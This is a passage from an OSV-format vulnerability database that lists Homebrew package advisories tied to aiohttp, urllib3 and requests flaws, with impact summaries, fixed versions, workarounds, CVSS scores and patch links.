https://github.com/aio-libs/aiohttp/commit/5ab61bb4cd88f19b712f12c7c9295fe262bf804d","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-63hw-fmq6-xxg2"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/5ab61bb4cd88f19b712f12c7c9295fe262bf804d"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-54278","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-g3cq-j2xw-wf74","CVE-2026-54278","PYSEC-2026-2111"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_24"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"aiohttp: Unread Compressed Request Bodies Bypass client_max_size During Cleanup","details":"### Summary\n\nDuring cleanup it is possible for a compressed request body to be decompressed into memory in one chunk.\n\n### Impact\n\nAn attacker may be able to send a compressed payload in specific situations that could be decompressed into memory, potentially leading to DoS (a zip bomb edge case).\n\n### Workaround\n\nDisable compression if unable to upgrade.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/4f7480e474cccc6a8cc2c92ad3f17a31dedf8232","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-g3cq-j2xw-wf74"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-54279","published":"2026-08-13T16:35:13Z","modified":"2026-11-04T01:12:16Z","upstream":["GHSA-2fqr-mr3j-6wp8","CVE-2026-54279","PYSEC-2026-2112"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_24"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"aiohttp: Host-Only Cookies Become Domain Cookies After CookieJar Persistence","details":"### Summary\n\nHost-only cookies that are saved with ``CookieJar.save()`` and then restored later with ``CookieJar.load()`` lose their host-only status.\n\n### Impact\n\nHost-only cookies that have been loaded from disk may get sent to subdomains that previously should have been disallowed.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/a329a7aacad5284f087af36103aff778746da0f2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-2fqr-mr3j-6wp8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54279"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/a329a7aacad5284f087af36103aff778746da0f2"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2026-2112.yaml"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-54280","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-9x8q-7h8h-wcw9","CVE-2026-54280","PYSEC-2026-2113"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_24"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"aiohttp: Payload Response Resources Are Not Closed After Mid-Body Disconnect","details":"### Summary\n\nPayload resources are not closed correctly when a client disconnects in the middle of a write.\n\n### Impact\n\nIf a payload is using an open file or similar limited resource, then an attacker may be able to cause resource starvation temporarily until garbage collection or similar closes the file.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/a762eda5242f6490d6ba667533193f8b473ad587","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-9x8q-7h8h-wcw9"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/a762eda5242f6490d6ba667533193f8b473ad587"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-59881","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:38Z","upstream":["GHSA-mq44-7p77-q5h7","CVE-2026-59881","PYSEC-2026-3547"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_25"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.2","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: WebSocket client accepts compressed frames without negotiated permessage-deflate","details":"### Summary\n\nThe client accepts and decompresses frames with the RSV1 bit set even when the `permessage-deflate` extension was not negotiated.\n\n### Impact\n\nA client may unexpectedly decompress WebSocket frames when explicitly opted out. This could lead to additional CPU/memory consumption, but is unlikely to be a significant issue unless a zip bomb vulnerability or similar is also present.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/47fb6ae354d4fa22048f4dbe7dbf82b625f0a2f6","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mq44-7p77-q5h7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59881"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/12978"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/47fb6ae354d4fa22048f4dbe7dbf82b625f0a2f6"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"http://github.com/aio-libs/aiohttp/releases/tag/v3.14.2"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-69243","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:38Z","upstream":["GHSA-mfx4-hv73-q22v","CVE-2026-69243","PYSEC-2026-3546"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_25"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.2","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: HTTP request smuggling via WebSocket upgrade","details":"### Summary\n\nThe HTTP parsers were vulnerable to a request smuggling attack relating to WebSocket upgrades.\n\n### Impact\n\nIf using the server-side component, it may be possible for an attacker to execute a request smuggling vulnerability using an edge case in the WebSocket upgrade procedure. AIOHTT is unaware of any public exploit code.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/6ae358f0983c3f4d6f67692b2f8e65dc8e091c98","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mfx4-hv73-q22v"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13017"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6ae358f0983c3f4d6f67692b2f8e65dc8e091c98"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.2"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-69244","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-cq5v-8q36-5273","CVE-2026-69244","PYSEC-2026-3545"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_25"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: Out-of-bounds heap read in C HTTP response parser error path (malformed chunked response)","details":"### Summary\n\nAn out-of-bounds heap read could occur in the C response parser while building an error message for a malformed response.\n\n### Impact\n\nAn attacker controlled server, or possibly an accidental response could trigger a DoS in the client.\n\n### Workaround\n\nIf unable to upgrade, the Python parser is unaffected and can be used with `AIOHTTP_NO_EXTENSIONS=1`.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/49f65d54150397892f7bcc4aae887767d51c322d","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-cq5v-8q36-5273"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13223"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/49f65d54150397892f7bcc4aae887767d51c322d"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.3"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-97687","published":"2026-10-04T12:38:32Z","modified":"2026-10-04T12:38:32Z","upstream":["GHSA-8988-9cw3-xx77","CVE-2026-97687","PYSEC-2026-4175"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.6_3"},{"fixed":"0.1.6_26"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3: HTTPS proxy TLS configuration may be ignored or overridden","details":"## Impact\n\nurllib3 supports configuring TLS independently for an HTTPS proxy and the target server.\n\n`proxy_ssl_context`, `proxy_assert_hostname`, and `proxy_assert_fingerprint` configure the TLS connection to the proxy. `ssl_context` and the other target-specific TLS parameters configure the connection to the target server.\n\nIn urllib3 versions 1.26.0 through 2.7.0, these configurations were not consistently separated. Depending on the proxy mode, urllib3 could:\n\n1. Ignore `proxy_ssl_context` and use the target server's SSL context for the TLS connection to an HTTPS forwarding proxy.\n2. Override the HTTPS proxy's certificate-verification policy with the target server's certificate-verification policy.\n3. Apply target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials to the TLS connection to an HTTPS forwarding proxy.\n\nIn particular, configuring `cert_reqs=\"CERT_NONE\"` for a target server could overwrite the `verify_mode` of the SSL context configured for the HTTPS proxy. This modification occurred in place and persisted on the context object, potentially disabling proxy certificate verification for later connections that reused the same context.\n\nAn attacker able to intercept the connection to an HTTPS proxy may be able to impersonate the proxy when the effective proxy TLS configuration disables certificate verification or otherwise accepts the attacker's certificate. This may occur, for example, when the target server's trust or identity policy is incorrectly applied to the proxy connection.\n\nWhen HTTPS forwarding is enabled, an impersonated proxy can observe or modify forwarded requests and responses, potentially exposing credentials, authentication tokens, request bodies, response data, and other sensitive information.\n\nA TLS client certificate intended for the target server may also be presented to the proxy or to an attacker impersonating it. This can disclose the client's identity and provide proof of possession of the corresponding private key. The private key itself is not transmitted during the TLS handshake.\n\nIn CONNECT tunneling mode, impersonating the HTTPS proxy does not by itself defeat the separate end-to-end TLS connection between the client and the target server.\n\n## Affected Usages\n\nCode using urllib3 versions 1.26.0 through 2.7.0 may be affected in any of the following cases.\n\n### 1. The target SSL context is used for an HTTPS forwarding proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and `proxy_ssl_context` is configured for the proxy.\n\nurllib3 may ignore `proxy_ssl_context` and use the target server's `ssl_context` for the proxy TLS handshake. The proxy may therefore be verified using the target server's trust and certificate policy instead of the policy explicitly configured for the proxy.\n\n### 2. The target verification policy overrides the proxy policy\n\nAn HTTPS proxy is configured with `proxy_ssl_context`, while the target server uses a different certificate-verification policy.\n\nurllib3 may apply the target server's `cert_reqs` value to the proxy SSL context. For example, setting `cert_reqs=\"CERT_NONE\"` for the target server may also disable certificate verification for the HTTPS proxy, even when `proxy_ssl_context` was configured to require verification.\n\nThis issue can affect the TLS connection to an HTTPS proxy in both forwarding and CONNECT tunneling configurations.\n\n### 3. A mutated proxy SSL context is reused\n\nThe same SSL context is reused as `proxy_ssl_context` across multiple connections, and certificate verification is disabled for one target server.\n\nurllib3 may modify the proxy SSL context's `verify_mode` in place. Later connections that reuse the same context may therefore connect to the HTTPS proxy without certificate verification.\n\n### 4. Target-specific TLS identity or credentials are applied to the proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials are configured.\n\nurllib3 may apply these target-specific settings to the proxy TLS handshake. This may cause urllib3 to:\n\n- send SNI intended for the target server to the proxy;\n- verify the proxy using a hostname or certificate fingerprint intended for the target server; or\n- present a TLS client certificate intended for the target server to the proxy.\n\nCode connecting through a plain HTTP proxy does not establish a TLS connection to the proxy and is not affected by this issue.\n\n## Remediation\n\nUpgrade to urllib3 2.8.0 or later.\n\nurllib3 2.8.0 independently applies the explicitly configured `proxy_ssl_context` and proxy-specific certificate assertions to the HTTPS proxy connection. Target-specific SNI, certificate assertions, and TLS client certificate parameters are no longer applied to the HTTPS proxy handshake.\n\nFor backward compatibility, when an HTTPS proxy is used with `use_forwarding_for_https=True` and `proxy_ssl_context` is not provided, urllib3 2.8.0 continues to use `ssl_context` for the TLS connection to the proxy. This configuration emits a `FutureWarning`. In urllib3 3.0, passing `ssl_context` with `use_forwarding_for_https=True` for an HTTPS proxy will raise an error. Applications should use `proxy_ssl_context` to configure TLS for an HTTPS forwarding proxy.\n\nThe fixes were implemented in commits b6447295fff7b38fdffc67e0df9712d60cef3cc3 and 07408cec79d1856d81bb42c74a904a24fdb9e465.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-8988-9cw3-xx77"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97687"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/pull/5093"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/07408cec79d1856d81bb42c74a904a24fdb9e465"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/b6447295fff7b38fdffc67e0df9712d60cef3cc3"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.8.0"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-97688","published":"2026-10-04T12:38:32Z","modified":"2026-10-04T12:38:32Z","upstream":["GHSA-gh4c-6fx4-qh6g","CVE-2026-97688","PYSEC-2026-4176"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.6_19"},{"fixed":"0.1.6_26"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3: Chunked Deflate streaming can enter an infinite loop","details":"### Impact\n\nurllib3's streaming API is designed for the efficient handling of large HTTP responses by reading content in chunks instead of loading the entire response body into memory at once.\n\nurllib3 can decompress response bodies according to the HTTP `Content-Encoding` header. When streaming a compressed, chunked response, urllib3 first consumes data already buffered by the decoder before reading the next HTTP chunk.\n\nHowever, urllib3 versions from 2.6.2 through 2.7.0 could enter an infinite loop when a chunked response contained bytes after the end of the Deflate stream. If the decompressed body exceeded the requested streaming chunk size, Python's zlib implementation could retain the trailing bytes as unconsumed input after reaching the end of the compressed stream. urllib3 would repeatedly attempt to decode those same bytes without making progress or reading more data from the network.\n\nA malicious server could exploit this behavior to cause excessive CPU usage and prevent the affected request from completing on the client. Network read timeouts would not interrupt the loop because no further socket operation was required.\n\n### Affected usages\n\nApplications and libraries using urllib3 versions 2.6.2 through 2.7.0 may be affected when all of the following conditions are met:\n\n1. Compressed responses from an untrusted source are streamed using `HTTPResponse.stream(amt=N)` or `HTTPResponse.read_chunked(amt=N)` with a positive, finite chunk size.\n2. Content decoding is enabled.\n3. The response uses both `Transfer-Encoding: chunked` and `Content-Encoding: deflate`.\n4. The decoded body exceeds the requested chunk size and the encoded body contains bytes after the end of the Deflate stream.\n\n`HTTPResponse.stream()` uses a finite chunk size by default and is therefore affected when the other conditions are met.\n\n### Remediation\n\nUpgrade to urllib3 2.8.0, in which the Deflate decoder stops accepting input after reaching the end of the compressed stream and no longer reports trailing bytes as data that can produce more decoded output.\n\nIf upgrading is not immediately possible, disable automatic content decoding for responses from untrusted sources by setting `decode_content=False`, or reject streamed responses using the Deflate content encoding. Applications that disable automatic decoding must handle the compressed response safely at another layer.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-gh4c-6fx4-qh6g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97688"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/ea2ad7b21a80da3632f80016526a18864586077f"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.8.0"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-97689","published":"2026-10-04T12:38:32Z","modified":"2026-10-04T12:38:32Z","upstream":["GHSA-vxq7-64xx-v4gw","CVE-2026-97689","PYSEC-2026-4177"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_26"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3: HTTPResponse.stream()/read_chunked() buffers an unbounded chunk-size line into memory","details":"## Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.7.0/advanced-usage.html#streaming-and-i-o) is designed for efficiently handling large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When decoding a [chunked-transfer-encoded response](https://httpwg.org/specs/rfc9112.html#chunked.encoding), this API reads each chunk's size field by buffering until it sees `\\n` or EOF.\n\nA malicious HTTP server can return `Transfer-Encoding: chunked` and then send a very long run of bytes without any newline, causing the streaming client to buffer that entire run before urllib3 can reject the chunk size as invalid and allocate more memory than intended.\n\nTo fix the issue, we'll reject chunk-size fields larger than 65536 bytes, as already done in the non-streaming case, which is currently handled by the Python standard library. Note that this only applies to reading the chunk-size field, not the chunk data, which is already handled correctly. Thus, there shouldn't be any impact for non-malicious servers.\n\n## Affected usages\n\nApplications and libraries using urllib3 versions earlier than 2.8.0 may be affected when streaming a chunked response from untrusted sources. Specifically, this affects the [read_chunked()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read_chunked) and [stream()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.stream) methods of the HTTPResponse object.\n\nThis also affects requests streaming API, which uses urllib3 under the hood.\n\n## Remediation\n\nUpgrade to urllib3 version 2.8.0 or later, where chunk-size fields larger than 65536 will be rejected. If upgrading is not immediately possible, consider reading the response at once using the [read()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read) method.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-vxq7-64xx-v4gw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97689"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/cd770b059b543be29298ea5c52afb0b1b090f5ed"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.8.0"}]},{"schema_version":"1.7.3","id":"BREW-airshare-GHSA-2g87-pp6c-29x5","published":"2026-10-21T10:32:48Z","modified":"2026-10-21T10:32:48Z","upstream":["GHSA-2g87-pp6c-29x5"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"aiohttp: Multiple instances of excessive or unbounded memory/CPU use","details":"### Summary\n\nMultiple cases were found where aiohttp could use excessive or unbounded memory, or excessive CPU consumption on attacker controlled requests.\n\n### Impact\n\nAn attacker could cause resource exhaustion through specially crafted requests.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-2g87-pp6c-29x5"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/09bcaa73ff084a0c539bbf16a0a78743acb7141f"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/0ae507423f681161efa77d20052b4054397c7fb6"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/3d850ee9b92573c7e913821cbcb96005beb3f4df"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/47babd8c23ca79e2bae6cc8dcb5752b61e369fc7"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/615fec3d4f088f30d2ee72cad760152e92aa1c53"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6963ee0befec1502b6bb7b4db6c72d044c08f4fa"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6a4f6682817839313b04b8e5cea2b39c1a88ab4f"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8cfbe9abe5e11b84006a10f9bdf82bf607671dab"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/a555ab698e08e9baea7386d5b4c0761cb8956fdd"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c6ac0e44c3c573ff9616f4a6a532992538b31e43"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/d925a80539ffd227da1d93ab4a5bff123cc777db"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-GHSA-pjjw-qhg8-p2p9","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:38Z","upstream":["GHSA-pjjw-qhg8-p2p9"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_7"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.8.6","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"aiohttp has vulnerable dependency that is vulnerable to request smuggling","details":"### Summary\nllhttp 8.1.1 is vulnerable to two request smuggling vulnerabilities.\nDetails have not been disclosed yet, so refer to llhttp for future information.\nThe issue is resolved by using llhttp 9+ (which is included in aiohttp 3.8.6+).","references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-pjjw-qhg8-p2p9"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/996de2629ef6b4c2934a7c04dfd49d0950d4c43b"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/bcc416e533796d04fb8124ef1e7686b1f338767a"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]}],"aiven-client":[{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2023-32681","published":"2026-08-13T16:35:13Z","modified":"2026-10-08T00:32:34Z","upstream":["GHSA-j8r2-6x86-q33q","CVE-2023-32681","PYSEC-2023-74"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.0"},{"fixed":"2.20.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.31.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Unintended leak of Proxy-Authorization header in requests","details":"### Impact\n\nSince Requests v2.3.0, Requests has been vulnerable to potentially leaking `Proxy-Authorization` headers to destination servers, specifically during redirects to an HTTPS origin. This is a product of how `rebuild_proxies` is used to recompute and [reattach the `Proxy-Authorization` header](https://github.com/psf/requests/blob/f2629e9e3c7ce3c3c8c025bcd8db551101cbc773/requests/sessions.py#L319-L328) to 